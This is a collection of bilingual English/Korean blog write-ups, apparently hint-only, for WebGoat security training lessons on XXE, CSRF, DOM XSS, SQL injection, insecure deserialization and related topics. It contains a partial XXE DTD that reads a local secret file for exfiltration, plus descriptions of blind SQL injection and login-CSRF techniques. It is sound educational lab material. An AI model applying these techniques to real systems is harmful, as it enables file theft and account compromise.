March 26, 2019

WebGoat write up(XXE 7 Blind XXE assignment)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Blind XXE assignment
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your DTD.

블라인드 XXE 챌린지.
당신은 금방 전, XXE 공격 시 어떻게 공격자 서버에 기록을 남길 수 있는지 확인했다. 이번 챌린지에서는 DTD 파일을 작성하어 우리(공격자) 서버에 "~/.webgoat/plugin/XXE/secret.txt" 파일을 업로드해보라. 작성한 DTD 파일을 WebWolf에 업로드 하여 활용하여 좋다.

OS - Location
Linux - /home/USER/.webgoat-8.0.0.M24/XXE/secret.txt
Windows - c:/Users/USER/.webgoat-8.0.0.M24/XXE/secret.txt
Docker - /home/webgoat/.webgoat-8.0.0.M24/XXE/secret.txt

Try to upload this file using WebWolf landing page for example: http://127.0.0.1:9090/landing?text=contents_file (NOTE: this endpoint is under your full control) Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.

이 파일(secret.txt)을 WebWolf의 랜딩페이지에 업로드하라. 예를 들면 이런 식이다. http://127.0.0.1:9090/landing?text=contents_file. 일단 파일 업로드에 성공하면, 파일의 내용을 댓글로 달도록 한다. 그러면 이번 챌린지를 클리어할 수 있을 것이다.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % open SYSTEM 'file:///c:/Users/USER/.webgoat-8.0.0.M24/XXE/secret.txt'>
<!ENTITY % unzip ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
%unzip;

First, open Notepad and create an "attack.dtd" file containing the above contents. The "open" entity is an external entity that has been seen in previous challenges and also is a parameter entity that has a percent(%) special character to the left of the entity name in the declaration. This entity is used in the "unzip" entity below it.

먼저 메모장을 열어 위 내용이 담긴 "attack.dtd" 파일을 생성한다. "open" 엔티티는 이전 챌린지에서도 보았던 외부 엔티티이면서도 선언 시 엔티티 명 좌측에 퍼센트(%) 특수문자가 붙어있는 파라미터 엔티티이다. 이 엔티티는 그 아래 "unzip" 엔티티에서 사용된다.

The "unzip" entity has another entity inside. When the "unzip" entity is called on line 4, the "run" entity is newly unveiled. The reason for this complicated process is due to the characteristic of parameter entities. Although it is said that the parameter entity is possible to use it inside DTD, when the above code is expressed as below, there arises a problem that the "open" entity is not parsed.

"unzip" 엔티티는 내부에 다른 엔티티를 품고 있다. 4번째 라인에서 "unzip" 엔티티가 호출되면 내부에 위치해 있던 "run" 엔티티가 새로 생기게 된다. 굳이 이런 복잡한 과정을 거치는 이유는 파라미터 엔티티의 특성 때문에 그렇다. DTD 내부에서 사용할 수 있다고는 하지만 위 코드를 아래처럼 표현 했을 때 "open" 엔티티가 해석되지 않는 문제가 발생한다.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % open SYSTEM 'file:///c:/Users/USER/.webgoat-8.0.0.M24/XXE/secret.txt'>
<!EN■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■%open;'>

WebGoat writeup(XXE 7 Blind XXE assignment) result of soved

May 12, 2019

WebGoat write up(Cross-Site Request Forgeries 7 CSRF and content-type)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

(7) CSRF and content-type
(7) CSRF와 content-type

In the previous section we saw how relying on the content-type is not a protection against CSRF. In this section we will look into another way we can perform a CSRF attack against a APIs which are not protected against CSRF.

우리는 이전 섹션에서, content-type에 의존하는 방식은 CSRF에 대한 보호대책이 될 수 없음을 확인하였다. 이번 섹션에서는 CSRF 공격으로부터 보호되지 않는 API가 이용된, 다른 방식의 CSRF 공격에 대해 알아볼 것이다.

In this assignment you need to achieve to POST the following JSON message to our endpoints:

이번 챌린지에서 당신은 아래의 JSON 메시지를 POST 방식으로 엔드포인트(서버)에 전송해야 한다.

POST /csrf/feedback/message HTTP/1.1
{
  "name"    : "WebGoat",
  "email"   : "webgoat@webgoat.org",
  "content" : "WebGoat is the best!!"
}


More information can be found here
이와 관련된 정보는 여기서 확인할 수 있다.

http://pentestmonkey.net/blog/csrf-xml-post-request

Remember you need to make the call from another origin (WebWolf can help here) and you need to be logged in into WebGoat.

주의할 사항이 있는데, 당신은 WebGoat 밖의 영역에서 요청 메시지를 발생시켜야 한다는 점(WebWolf가 도움이 될 수 있음.)과 그리고 WebGoat에는 로그인 중인 상태여야 한다는 점이다.

the clue of WebGoat write up(Cross-Site Request Forgeries 7 CSRF and content-type)

I used a commercial email for presentation. Add 'enctype="text/plain"' and insert JSON data in the "name" attribute part as above. Then, send it to the opponent, so you will see the "Connect" button. Clicking on it will generate a request message.

연출을 위해 상용 이메일을 사용하였다. 위와 같이 'enctype="text/plain"'을 추가하고 "name" 어트리뷰트 부분에는 JSON 데이터를 넣는다. 그리고 상대에게 보내면 "접속" 버튼이 보이게 되는데, 이를 클릭하면 요청 메시지가 발생한다.

the result of WebGoat write up(Cross-Site Request Forgeries 7 CSRF and content-type)

April 16, 2019

WebGoat write up(Cross-Site Scripting 10 Identify Potential for DOM-Based XSS)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Identify Potential for DOM-Based XSS
DOM-Based XSS can usually be found by looking for the route configurations in the client-side code. Look for a route that takes inputs that are being 'reflected' to the page.

DOM 기반 XSS 공격이 발생할 가능성 식별.
DOM 기반 XSS 공격은, 일반적으로 클라이언트 측 코드의 경로(URL) 설정과 관련하여 발견되곤 한다. 사용자의 화면에 입력 값이 반영되는(보이는) 웹페이지들을 찾는 것으로부터 공격 가능성을 점검할 수 있다.

For this example, you’ll want to look for some 'test' code in the route handlers (WebGoat uses backbone as its primary javascript library). Sometimes, test code gets left in production (and often times test code is very simple and lacks security or any quality controls!).

이번 예시에서는, 당신은 어떤 테스트용 코드를 확인하고 싶다고 가정한다(참고로, WebGoat는 backbone.js를 주가 되는 자바스크립트 라이브러리로 사용한다.). 때로는 테스트 코드가 소프트웨어 개발 시에 (지우지 않고) 남겨지는 경우도 있다(그리고 때로는 테스트 코드는 간단해 보이지만 보안에 취약할 수 있다.).

Your objective is to find the route and exploit it. First though …​ what is the base route? As an example, look at the URL for this lesson …​ it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The 'base route' in this case is: start.mvc#lesson/ The CrossSiteScripting.lesson/9 after that are parameters that are processed by the javascript route handler.

당신의 목표는 해당 (테스트 코드가 있는) 경로를 찾아 그것을 악용하는 것이다. 이와 관련하여 최초로 시작할 부분은, 해당 코드의 기본 경로가 무엇인지 찾는 것이다. 예를 들어, 현재 페이지의 URL를 보라. 이렇게 적혀 있을 것이다. /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. 여기서의 기본 경로는 "/WebGoat/start.mvc#lesson"이다. 우측에 붙은 "CrossSiteScripting.lesson/9"는 자바스크립트 라우트 핸들러에 의해 처리되는 파라미터이다.

So, what is the route for the test code that stayed in the app during production? To answer this question, you have to check the javascript source.

자 이제, 소프트웨어 개발 중 이 애플리케이션에 남겨진 테스트 코드의 경로가 무엇인지 찾아 제출하라. 이를 위해서는 자바스크립트 코드를 열어볼 필요가 있다.

the code at WebGoat (Cross-Site Scripting 10 Identify Potential for DOM-Based XSS)

In the context, "lesson/~" is thought to be the route associated with each lesson page, and "test/~" is thought to be the route associated with the test page.

문맥상 "lesson/~"은 각 레슨 페이지와 연결될 때의 경로일 것으로 추정되고, "test/~"는 테스트와 페이지와 관련된 경로일 것으로 추정된다.

the result ot WebGoat (Cross-Site Scripting 10 Identify Potential for DOM-Based XSS)

March 22, 2019

WebGoat write up(SQL Injection mitigation 8)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

In this assignment try to perform an SQL injection through the ORDER BY field. Try to find the ip address of the webgoat-prd server, guessing the complete ip address might take too long so we give you the last part: xxx.130.219.202

이번 챌린지에서는 "ORDER BY"절을 이용하여 SQL 인젝션을 실습해볼 수 있다. "webgoat-prd" 서버의 IP 주소를 확보하라. 완전한 주소를 찾는 데까지 장시간 소요될 수 있으므로, IP 주소의 일부를 이와 같이 알려주도록 하겠다. xxx.130.219.202

Note: The submit field of this assignment is NOT vulnerable for an SQL injection.
주의: 아래의 "Submit" 버튼은 SQL 인젝션에 취약하지 않음.

WebGoat writeup(SQL Injection mitigation 8) using proxy

At the time of reading the record of "webgoat-prd", check the IP attribute value by using the and operator. the above code checks that the first value of the IP address is the same as the character '1'. If you send the numbers to the server by changing the underlined number 1(1~3) on the middle and the underlined number 1(0~9) on the right end in "substr(ip,1,1)='1')", you will be able to get three digits soon.

"webgoat-prd"의 레코드를 열람할 시점에 and 연산자를 이용하여 IP 어트리뷰트 값을 조금씩 떼어 확인해본다. 위 코드에서는 해당 IP 주소의 첫 번째 값이 문자 형태의 '1'과 동일한지 확인한다. "substr(ip,1,1)='1')"에서 밑줄 친 가운데 숫자 1과(1~3) 우측 끝의 숫자 1을(0~9)를 바꿔가며 서버에 전송하다보면 세 자리 정도는 금방 구할 수 있을 것이다.

WebGoat writeup(SQL Injection mitigation 8) clear result

May 12, 2019

WebGoat write up(Vulnerable Components 12 Exploiting CVE-2013-7285 (XStream))

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

(12) Exploiting CVE-2013-7285 (XStream)
WebGoat Sends an XML document to add contacts to a contacts database.

(12) CVE-2013-7285(XStream) 취약점 공격.
WebGoat는, 데이터베이스에 연락처 정보를 추가하기 위해, 해당 정보를 XML 문서형태로 전송한다.

<contact>
    <id>1</id>
    <firstName>Bruce</firstName>
    <lastName>Mayhew</lastName>
    <email>webgoat@owasp.org</email>
</contact>

For this example, we will let you enter the xml directly versus intercepting the request and modifying the data. You provide the XML representation of a contact and WebGoat will convert it a Contact object using XStream.fromXML(xml).

이번 챌린지에서는, 요청 메시지를 인터셉트하여 수정하기보다는, XML을 직접 입력하도록 구성하였다. 당신이 입력한 XML 형식의 연락처는 WebGoat에서 "XStream.fromXML(xml)"을 통해 "Contact" 객체로 변환될 것이다.

$ git clone https://github.com/pwntester/XStreamPOC.git
'XStreamPOC'에 복제합니다...
remote: Enumerating objects: 61, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (29/29), done.
remote: Total 61 (delta 10), reused 61 (delta 10), pack-reused 0
오브젝트 묶음 푸는 중: 100% (61/61), 완료.

This challenge has its own flaws that can not be cleared. After downloading the POC separately, you can practice by modifying the source code.

이번 챌린지는 클리어할 수 없는 자체적인 결함이 있다. POC를 별도로 다운로드 받은 후 소스코드를 일부 수정하면 실습할 수 있다.

the clue of WebGoat write up(Vulnerable Components 12 Exploiting CVE-2013-7285 (XStream))

Run the compiled Java program. Similarly, you must specify the classpath, and you must also correctly reflect the package path for that class. When executed, the program registered in the event handler is executed.

컴파일 완료된 자바 프로그램을 실행시켜본다. 마찬가지로 클래스 패스를 지정해주어야 하고, 추가로 해당 클래스의 패키지 경로를 정확히 반영해야 한다는 점을 주의하면 된다. 실행 시 이벤트 핸들러에 등록한 프로그램이 실행된다.

April 17, 2019

WebGoat writeup(Cross-Site Scripting 11 Try It! DOM-Based XSS)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Try It! DOM-Based XSS
Some attacks are 'blind'. Fortunately, you have the server running here so you will be able to tell if you are successful. Use the route you just found and see if you can use the fact that it reflects a parameter from the route without encoding to execute an internal function in WebGoat. The function you want to execute is …

DOM 기반 XSS 실습.
일부 공격들은 성공 여부를 확인할 수 없다(blind). 그러나 운 좋게도 당신은 스스로 서버를 구동하고 있으므로 성공 여부를 확인할 수 있다. 당신이 금방 전 확인한 경로를 이용하여, 경로 내 파라미터의 값이 적절히 필터링 되지 않음으로 인해, WebGoat 내 특정 함수가 사용될 수 있는지 확인하라. 당신이 사용해야 할 함수는 아래와 같다.

webgoat.customjs.phoneHome()

Sure, you could just use console/debug to trigger it, but you need to trigger it via a URL in a new tab.

당연히 당신은 이 명령어를 콘솔이나 디버그를 통하여 호출할 수 있다. 그렇지만, 새 탭의 URL을 통해 호출하도록 시도하라.

Once you do trigger it, a subsequent response will come to your browser’s console with a random number. Put that random number in below.

이 함수가 호출되면 임의 번호가 당신의 브라우저의 콘솔에 출력될 것이다. 아래 폼에 그 번호를 제출하라.

the clue of Cross-Site Scripting 11 Try It! DOM-Based XSS

The function "showTestParam" was identified in "http://127.0.0.1:8080/WebGoat/js/goatApp/view/LessonContentView.js". This finds a class attribute called "lesson-content" in the HTML element and changes its contents to "test: [the text in the URL]".

"showTestParam" 함수는 "http://127.0.0.1:8080/WebGoat/js/goatApp/view/LessonContentView.js"에서 식별되었으며, HTML 엘리먼트 중 "lesson-content"라는 클래스 어트리뷰트를 찾아 그 내부의 내용을 "test: [URL에 있는 텍스트]"로 변경한다.

the result of Cross-Site Scripting 11 Try It! DOM-Based XSS

May 12, 2019

WebGoat write up(Cross-Site Request Forgeries 8 Login CSRF attack)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

(8) Login CSRF attack
(8) 로그인 CSRF 공격.

In a login CSRF attack, the attacker forges a login request to an honest site using the attacker's username and password at that site. If the forgery succeeds, the honest server responds with a Set-Cookie header that instructs the browser to mutate its state by storing a session cookie, logging the user into the honest site as the attacker. This session cookie is used to bind subsequent requests to the user's session and hence to the attacker's authentication credentials. Login CSRF attacks can have serious consequences, for example see the picture below where an attacker created an account at google.com the victim visits the malicious website and the user is logged in as the attacker. The attacker could then later on gather information about the activities of the user.

로그인 CSRF 공격 시, 공격자는 자신의 ID/PW를 이용하여 희생자로 하여금 로그인 요청 메시지를 전송하게 만든다. 만약 공격이 성공하면, 서버는 헤더에 "Set-Cookie" 항목을 포함하여 희생자에게 응답하는데, 이것은 브라우저가 세션 쿠키를 저장하도록 지시하는 역할을 한다. 그러면 희생자는 공격자의 계정으로 로그인 되는 것이다. 이 세션 쿠키는, 이후의 요청 메시지를 대상으로, 희생자의 세션과 공격자의 인증 정보를 묶을 때 사용된다. 로그인 CSRF 공격은 심각한 결과를 초래할 수 있다. 예를 들어, 아래 그림과 같이 공격자는 google.com에서 계정을 만들었다고 가정한다. 이어서 희생자는 악성 사이트를 방문하고, 공격자의 계정으로 로그인하게 된다. 그러면 공격자는 희생자의 활동 이력을 수집할 수 있게 된다.

For more information read the following paper.
세부 정보는 아래 링크를 참조하라.

http://seclab.stanford.edu/websec/csrf/csrf.pdf

In this assignment try to see if WebGoat is also vulnerable for a login CSRF attack. Leave this tab open and in another tab create a user based on your own username prefixed with csrf-. So if your username is tom you must create a new user called csrf-tom.

WebGoat가 로그인 CSRF 공격에 취약한지 확인하라. 이 탭은 그대로 두고 새 탭을 연 뒤, "csrf-" 접두어가 붙은 새로운 계정을 생성한다. 만약 계정명이 "tom" 이라면 "csrf-tom"이 될 것이다.

Login as the new user. This is what an attacker would do using CSRF. Then click the button in the original tab. Because you are logged in as a different user, the attacker learns that you clicked the button.

새로 생성한 계정으로 희생자가 로그인 하도록 만들어라. 이것은 공격자가 CSRF를 수행하는 방식이다. 그리고 기존의 열어두었던 탭으로 돌아와 아래의 버튼을 클릭하라. 새 계정으로 로그인되었다면 공격자는 아래 버튼의 클릭 여부를 확인할 수 있다.

the clue of WebGoat write up(Cross-Site Request Forgeries 8 Login CSRF attack)

Now we need to create a malicious page that the victim will visit. Create an HTML file on the desktop and enter the above source code. The main point is to send a request to the login page with the POST method, which contains the newly created account name and password. The JavaScript code below means sending the information written in the form to the server.

이제 희생자가 방문하게 될 악성 페이지를 만들어야 한다. 바탕화면 등에 HTML 파일을 하나 만들어 위의 소스코드를 입력한다. 주요 내용은 POST 메소드로 로그인 페이지에 요청을 전송하는 것인데, 여기에는 공격자자 새로 생성한 계정명과 비밀번호가 심어져 있다. 그 아래 자바스크립트 코드는, 위 폼에 입력된 정보를 서버로 전송한다는 내용이다.

the result of WebGoat write up(Cross-Site Request Forgeries 8 Login CSRF attack)

WebGoat write up(Without account)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Can you still vote?
투표하기.

The callenge of WebGoat write up(Without account)

The clue of WebGoat write up(Without account)

And there is a hint obtained through HTML source code, script, request message tampering, etc. As you can see in the above image, if you send a request message by writing "OPTIONS" in the HTTP method, you can see the methods allowed by the server side. The server supports "GET" and "HEAD" methods.

그리고 HTML 소스코드, 스크립트, 요청 메시지 변조 등을 통하여 한 가지 얻게 된 힌트가 있는데, 위 그림처럼 HTTP 메소드로 "OPTIONS"를 적어 요청 메시지를 전송하면 서버 측에서 허용하는 메소드들을 확인할 수 있다는 점이다. 서버는 "GET"과 "HEAD" 메소드를 지원하고 있다.

The result of WebGoat write up(Without account)

March 19, 2019

WebGoat write up(HTTP Basics)

To comply with the rule, in this write-up, I just deal with some hints related to this challenge. Here is no correct answer and no solution.

룰을 준수하기 위해, 이 write-up에서는 챌린지와과 관련된 몇 가지 힌트만을 다룹니다. 여기에 정답과 솔루션은 없습니다.


The Quiz. 퀴즈.
What type of HTTP command did WebGoat use for this lesson. A POST or a GET.

이번 레슨에서 WebGoat가 사용한 HTTP 메시지의 종류를 맞춰보라. POST 방식일까 아니면 GET 방식 일까.

WebGoat write-up(HTTP Basics 3)

Check HTTP messages in the "HTTP history" at Burp suite. There is a message marked at "Params". This means that there was specific data to has been sent to the server, and this happens when you send a message by entering a value in the form.

버프 스위트의 "HTTP history"에서 죽 올라오는 HTTP 메시지들을 확인하다보면 "Params"에 체크가 되어있는 메시지가 있다. 이것은 서버에 전송하는 별도의 데이터가 있다는 의미이며, 지금과 같이 폼(form)에 값을 입력하여 메시지를 전송하는 경우 등에서 발생한다.

May 12, 2019

WebGoat write up(Admin lost password)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

the callenge of WebGoat write up(Admin lost password)

the clue of WebGoat write up(Admin lost password)

Download the picture. And when you open it with Notepad, you can see that the password is recorded in the middle of the bits of images as shown in the picture above. This is a challenge that requires more sensation than specific vulnerability inspection techniques.

이 그림을 다운로드 받는다. 그리고 메모장으로 열어보면 위 그림과 같이 이미지들의 비트들 중간에 패스워드가 기록되어 있는 것을 알 수 있다. 이는 특별한 취약점 점검 기술보다는 센스가 요구되는 챌린지에 해당한다.

the result of WebGoat write up(Admin lost password)

March 20, 2019

WebGoat write up(SQL Injection advanced 3)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Try It! Pulling data from other tables
다른 테이블에서 데이터 추출 실습해보기.

Let's try to exploit a join to another table. One of the tables in the WebGoat database is:

JOIN을 활용하여 어떤 테이블을 공략해보자. WebGoat의 여러 테이블 중 하나는 아래와 같다.

CREATE TABLE user_system_data(
userid int not null primary key,
user_name varchar(12),
password varchar(10),
cookie varchar(30)
);

6.a) Execute a query to union or join these tables.
UNION 혹은 JOIN으로 테이블들을 결합해보라.

6.b) When you have figured it out…. What is Dave’s password?
그렇다면, Dave의 패스워드는 무엇인가?

WebGoat write up(SQL Injection advanced 3)

For this, you need to know the SQL statement called "UNION". It is not unreasonable to say that it is used when combining two SELECT statements. One thing to remember is that the number of columns in the two SELECT statements to be combined must be the same. For example, if you enter "Smith", there are 7 columns such as "USERID", "FIRST" etc, which means you have to comply with the number of 7.

이를 위해 "UNION" 이라는 SQL문(SQL statement)를 알아야 한다. 두 개의 SELECT문을 합칠 때 사용된다는 정도만 알아도 여기서는 크게 무리 없을 것이다. 다만 한 가지 특징을 기억해야 하는데, 합치려는 두 개의 SELECT문의 열의 개수가 동일해야 된다는 점이다. 예를 들어, 위에서 "Smith"를 입력했을 때 "USERID", "FIRST" 순으로 총 7개의 열(이하 어트리뷰트)이 있는데, 이 7개라는 개수를 맞춰 주어야한다는 의미다.

May 12, 2019

WebGoat write up(Admin password reset)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Try to reset the password for admin.
"admin" 계정의 패스워드를 초기화하라.

The callenge of WebGoat write up(Admin password reset)

$ git reset --hard f94■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
HEAD의 현재 위치는 f94■■■■입니다 First version of WebGoat Cloud website

$ ls
 Challenge_7.adoc   git   'MD5$MD5State.class' 
 PasswordResetLink.class   Challenge7.html   …

In order to check the changed contents of the file, restore the state of the commit to the past place that the commit that the key was removed. So, you will see that the "PasswordResetLink.class" file used at that time is created.

해당 파일의 변경된 내용을 확인하기 위해, 키가 지워졌다는 커밋보다 한칸 이전의 커밋의 상태로 복원한다. 그러면 당시 사용된 "PasswordResetLink.class" 파일이 생성되는 것을 볼 수 있다.

The result of WebGoat write up(Admin password reset)

WebGoat write up(Creating a new account)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Can you login as Tom? It may be a little harder than it was for Larry.
"tom" 계정으로 로그인하라. 이전의 "Larry"보다는 조금 더 어려울 수 있다.

the clue of WebGoat write up(Creating a new account)

It assumes that a blind SQL injection attack will take place. Remember the response if the condition is true or false. When the condition is true, the answer "already exists ~" comes. On the other hand, when the condition is false, the answer is "created ~".

블라인드 SQL 인젝션 공격이 통할 것이라고 가정하고, 조건이 참이 되는 경우와 거짓이 되는 경우의 응답을 기억한다. 조건이 참일 때 "already exists ~"라는 답변이 돌아온다. 반대로 조건이 거짓일 때는 "created ~"라는 답변이 돌아온다.

the result of WebGoat write up(Creating a new account)

WebGoat write up(Bypass front-end restrictions 2 Field Restrictions)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

(2) Field Restrictions
In most browsers, client has complete or almost complete control over HTML part of the webpage. They can alter values or restrictions to fit their preference.

(2) 필드 제한.
몇몇 브라우저에서, 클라이언트는 웹 페이지의 HTML을 완벽하게 혹은 거의 모든 부분을 제어할 수 있다. 그들은 기호에 맞게 값이나 제한 여부를 변경할 수도 있다.

Task    도전.
Send a request that bypasses restrictions of all four of these fields
4개의 필드에서의 각 제한을 우회하여 요청 메시지를 전송하라.

the clue of WebGoat write up(Bypass front-end restrictions 2 Field Restrictions)

Finally, for text input elements with character limits, override the existing character limits by changing or removing the value of the "maxlength" attribute, which restricts characters.

마지막, 글자 제한이 걸린 text 타입의 input 엘리먼트에서는, 글자 제한을 거는 어트리뷰트인 "maxlength"의 값을 변경하거나 제거하여 기존의 글자 제한을 극복한다.

the result of WebGoat write up(Bypass front-end restrictions 2 Field Restrictions)

March 28, 2019

WebGoat write up(Authentication Bypasses 2 2FA Password Reset)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

The Scenario
You are resetting your password, but doing it from a location or device that your provider does not recognize. So you need to answer the security questions you set up. The other issue is that those security questions are also stored on another device (not with you) and you don’t remember them.

시나리오.
당신은 패스워드를 재설정 중에 있다. 하지만 서비스 제공자(웹 사이트)로부터 본인임을 인지하지 못하는 장소나 기기를 사용하고 있다고 가정한다. 그래서 당신은 본인임을 인증하기 위해 가입 시 설정한 보안 질문들에 답해야한다. 문제는, 이런 질문들에 대한 정답이 생각나지 않는 다는 것인데, 이 정답을 적어놓은 기기는 현재 미 휴대 중이다.

You have already provided your username/email and opted for the alternative verification method.

당신은 현재 이름과 이메일 주소를 입력한 상태이고, 아래와 같이 대체 인증 방식(질문/답변)을 선택한 상황이다.

solving process of WebGoat writeup(Authentication Bypasses 2 2FA Password Reset)

While modifying to detect flaws of the authentication source code, I was able to identify the flaw that bypassed the test when the ■■■■■■■■■■■■■ were changed to others, as shown in the image above.

인증 관련 소스코드상의 결함을 발견하기 위하여 여러 가지 변조를 시도하던 중 위 이미지와 같이 ■■■■■■■■■■■를 다른 것으로 바꾸었을 때 테스트를 우회하는 결함을 확인할 수 있었다.

WebGoat writeup(Authentication Bypasses 2 2FA Password Reset) solved result

April 10, 2019

WebGoat write up(Password reset 2 Email functionality with WebWolf)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Email functionality with WebWolf
Let’s first do a simple assignment to make sure you are able to read e-mails with WebWolf, first start WebWolf (see http://) In the reset page below send an e-mail to username@webgoat.org (part behind the @ is not important) Open WebWolf and read the e-mail and login with your username and the password provided in the e-mail.

WebWolf와 이메일 기능.
첫 번째 챌린지는, WebWolf로 이메일을 받을 수 있는지 가볍게 테스트할 것이다. 먼저 WebWolf를 가동하고, 아래의 패스워드 재설정 양식에 당신 계정 정보를 입력(계정명@webgoat.org) 및 전송 후, WebWolf에서 도착한 이메일을 읽고, 해당 이메일에서 기재되어 있는 계정명과 패스워드를 이용하여 로그인하라.

Password reset 2 Email functionality with WebWolf

And when you go to "mailbox" of WebWolf, you can see that one mail came. Open the e-mail, you can see the account name that is inverted from left to right.

그리고 WebWolf의 "mailbox"로 가보면 메일이 한 통 온 것을 확인할 수 있다. 해당 메일을 열람하면, 계정명을 좌우로 뒤집어놓은 문자열을 확인할 수 있다.

Password reset 2 result

May 12, 2019

WebGoat write up(Insecure Deserialization 5 Let’s try)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

(5) Let’s try
The following input box receives a serialized object (a string) and it deserialzes it.

(5) 도전.
아래의 input 박스는 직렬화된 객체(문자열)를 수신 후 그것을 역직렬화한다.

rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l


Try to change this serialized object in order to delay the page response for exactly 5 seconds.

정확히 5초 후 서버가 응답하게 만들기 위해 위의 직렬화된 객체를 변경하라.

ysoserial\src\main\java\ysoserial\payloads\util\Gadgets.java
the clue of WebGoat write up(Insecure Deserialization 5 Let’s try)

Instead of calling the method "exec()", I used the way of calling the sleep method that waits for 5 seconds. The system commands entered by the user are ignored, but it is the most obvious way. So, as shown in the picture above, I commented on the existing code and wrote the new code below. One thing to note is that you have to cast "(long)" to the left of the number "5000 (1 millisecond x 5000 = 5 seconds)". The "sleep" method requires a "long" type number of milliseconds as the wait time. And save.

"exec()"라는 메소드를 호출하지 말고, 애초에 5초간 대기하는 메소드를 호출하는 방법을 사용했다. 사용자가 입력한 시스템 명령어는 무시되지만 가장 확실한 방법이다. 그래서 위 그림과 같이 기존의 코드는 주석으로 가리고, 그 아래 새 코드를 입력했다. 주의할 점은 "5000(1/1000초 x 5000 = 5초)"이라는 숫자 좌측에 "(long)"으로 형 변환을 해주어야 한다. "sleep" 메소드는 대기 시간을 long 타입의 밀리 초 숫자만 받기 때문이다. 그리고 저장한다.

the result of WebGoat write up(Insecure Deserialization 5 Let’s try)

May 01, 2019

WebGoat write up(Insecure Login 2 Let’s try)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Let’s try
Click the "log in" button to send a request containing login credentials of another user. Then, write these credentials into the appropriate fields and submit to confirm. Try using a packet sniffer to intercept the request.

도전
"log in" 버튼을 클릭하여 타인의 로그인 정보가 전송되도록 하라. 그리고 계정 정보를 획득하여 제출하라. 요청 메시지를 인터셉트하기 위해 패킷 스니퍼를 사용하도록 한다.

the clue of WebGoat write up(Insecure Login 2 Let’s try)

The paragraph uses the term like packet sniffer, but it means any software that can collect traffic on the network. Therefore, the developer tool's network tap and burp suite we've been using so far are also in this category.

지문에서는 거창하게 패킷 스니퍼라는 말을 사용하는데, 네트워크상의 트래픽을 수집할 수 있는 소프트웨어라면 모두 포함된다. 그러므로 지금까지 사용해왔던 개발자 도구의 네트워크 탭이나 버프 스위트도 이 범주에 들어간다고 볼 수 있다.

the result of WebGoat write up(Insecure Login 2 Let’s try)

March 19, 2019

WebGoat write up(HTTP Proxies)

To comply with the rule, in this write up, some hints related to this challenge only will be mentioned.

룰을 준수하기 위해, 여기서는 챌린지와과 관련된 몇 가지 힌트만이 언급됩니다.

Intercept and modify a request
Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When you request is intercepted (hits the breakpoint), modify it as follows.

요청(request) 가로채고 수정하기
위와 같이 인터셉트 설정을한 뒤 제출 버튼을 클릭하여 아래의 요청 메시지를 제출하라. 당신의 요청이 중단점(breakpoint)에 의해 가로채지면(intercept) 그것을 아래와 같이 변경하라.

  · Change the Method to GET
  · 통신 방식(method)를 GET으로 변경.

  · Add a header 'x-request-intercepted:true'
  · 헤더에 'x-request-intercepted:true' 추가.

